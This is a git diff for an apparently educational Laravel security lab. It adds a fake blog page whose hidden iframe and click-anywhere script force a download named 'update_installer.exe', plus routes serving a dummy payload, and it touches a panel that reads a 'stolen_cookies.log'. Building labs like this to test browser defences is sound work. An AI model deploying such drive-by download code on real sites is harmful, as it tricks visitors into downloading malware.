diff --git a/app/Http/Controllers/VulnerabilityController.php b/app/Http/Controllers/VulnerabilityController.php
index 120842d..c90fe20 100644
--- a/app/Http/Controllers/VulnerabilityController.php
+++ b/app/Http/Controllers/VulnerabilityController.php
@@ -44,8 +44,8 @@ public function logStolenData(Request $request)
     // متد برای مشاهده لاگ‌ها (پنل هکر)
     public function viewLogs()
     {
-        $logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log')
-            ? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log')
+        $logs = Storage::exists('stolen_cookies.log')
+            ? Storage::get('stolen_cookies.log')
             : 'هیچ دیتایی سرقت نشده است.';
 
         return view('vulnerabilities.logs', compact('logs'));
diff --git a/resources/views/hacker/drive-by.blade.php b/resources/views/hacker/drive-by.blade.php
new file mode 100644
index 0000000..f4634a8
--- /dev/null
+++ b/resources/views/hacker/drive-by.blade.php
@@ -0,0 +1,65 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Top 10 AI Tools in 2026</title>
+    <script src="https://cdn.tailwindcss.com"></script>
+</head>
+<body class="bg-gray-100 text-gray-800 font-sans antialiased min-h-screen cursor-pointer">
+    <!-- Navigation -->
+    <nav class="bg-blue-600 text-white p-4 shadow-md pointer-events-none">
+        <div class="container mx-auto">
+            <h1 class="text-2xl font-bold">Tech Insights Blog</h1>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <main class="container mx-auto mt-8 p-6 bg-white shadow-lg rounded-lg max-w-4xl pointer-events-none">
+        <h2 class="text-3xl font-bold mb-4 text-gray-900">Top 10 AI Tools That Will Revolutionize 2026</h2>
+        <p class="text-gray-600 mb-6 border-b pb-4">Published on October 15, 2025 by John Doe</p>
+
+        <div class="space-y-6 text-lg leading-relaxed">
+            <p>Artificial Intelligence is moving at a breakneck pace. By 2026, the landscape of AI tools has shifted entirely, integrating seamlessly into our daily workflows. In this article, we explore the top 10 tools that are reshaping industries.</p>
+            
+            <h3 class="text-2xl font-semibold mt-4">1. NeuralSync</h3>
+            <p>NeuralSync offers unparalleled brain-to-text capabilities, allowing users to draft emails and documents simply by thinking about them. Early adopters are reporting a 300% increase in productivity.</p>
+
+            <h3 class="text-2xl font-semibold mt-4">2. QuantumCode</h3>
+            <p>Forget Copilot; QuantumCode writes entire applications based on a single paragraph of prompt, deploying them instantly across multiple cloud providers securely.</p>
+            
+            <p class="text-blue-500 font-semibold mt-8 animate-pulse text-center"><em>(Click anywhere to continue reading...)</em></p>
+        </div>
+    </main>
+
+    <!-- Developer Notes -->
+    <div class="container mx-auto mt-12 p-6 bg-yellow-100 border-l-4 border-yellow-500 text-yellow-800 shadow-md max-w-4xl cursor-default">
+        <h3 class="font-bold text-xl mb-2">🧑‍💻 Developer / Researcher Notes: Drive-by Download Lab</h3>
+        <p class="mb-2">This page is simulating a Drive-by Download attack to test browser security mechanisms. It employs two techniques:</p>
+        <ul class="list-disc ml-6 space-y-2">
+            <li><strong>Method 1 (Zero-Click Auto-Download):</strong> An invisible iframe attempts to load the malware payload (<code>/payload.exe</code>) immediately when the page loads. Modern browsers generally block this unless the user has previously interacted with the site or it is trusted.</li>
+            <li><strong>Method 2 (Any-Click Hijacking):</strong> A JavaScript event listener is bound to the entire <code>document.body</code>. The first time you click <em>anywhere</em> on this page, the browser registers a "User Activation", and the script triggers a download via a dynamic anchor tag. Browsers often allow this because a user interaction occurred, even if the user didn't explicitly intend to download a file.</li>
+        </ul>
+    </div>
+
+    <!-- EXPLOIT: Method 1 - Zero-Click Auto-Download via Hidden Iframe -->
+    <iframe src="{{ route('hacker.payload') }}" style="display:none;" title="invisible_payload"></iframe>
+
+    <!-- EXPLOIT: Method 2 - Any-Click Hijacking -->
+    <script>
+        document.body.addEventListener('click', function(e) {
+            // Ensure we only trigger it once to simulate a covert download
+            if (!window.hasTriggeredDownload) {
+                window.hasTriggeredDownload = true;
+                
+                const a = document.createElement('a');
+                a.href = "{{ route('hacker.payload') }}";
+                a.download = "update_installer.exe"; // Force download hint
+                document.body.appendChild(a);
+                a.click();
+                document.body.removeChild(a);
+            }
+        });
+    </script>
+</body>
+</html>
\ No newline at end of file
diff --git a/routes/web.php b/routes/web.php
index 844c85f..2c59404 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -32,6 +32,20 @@
         return view('hacker.clickjacking');
     })->name('hacker.clickjacking');
 
+    // Drive-by Download: Fake Malware Payload
+    Route::get('/payload.exe', function () {
+        $content = "This is a harmless dummy payload simulating malware for the Browser Security Lab.";
+        return response($content, 200, [
+            'Content-Type' => 'application/x-msdownload',
+            'Content-Disposition' => 'attachment; filename="update_installer.exe"',
+        ]);
+    })->name('hacker.payload');
+
+    // Drive-by Download Exploit Page
+    Route::get('/drive-by', function () {
+        return view('hacker.drive-by');
+    })->name('hacker.driveby');
+
 });
 
 /*
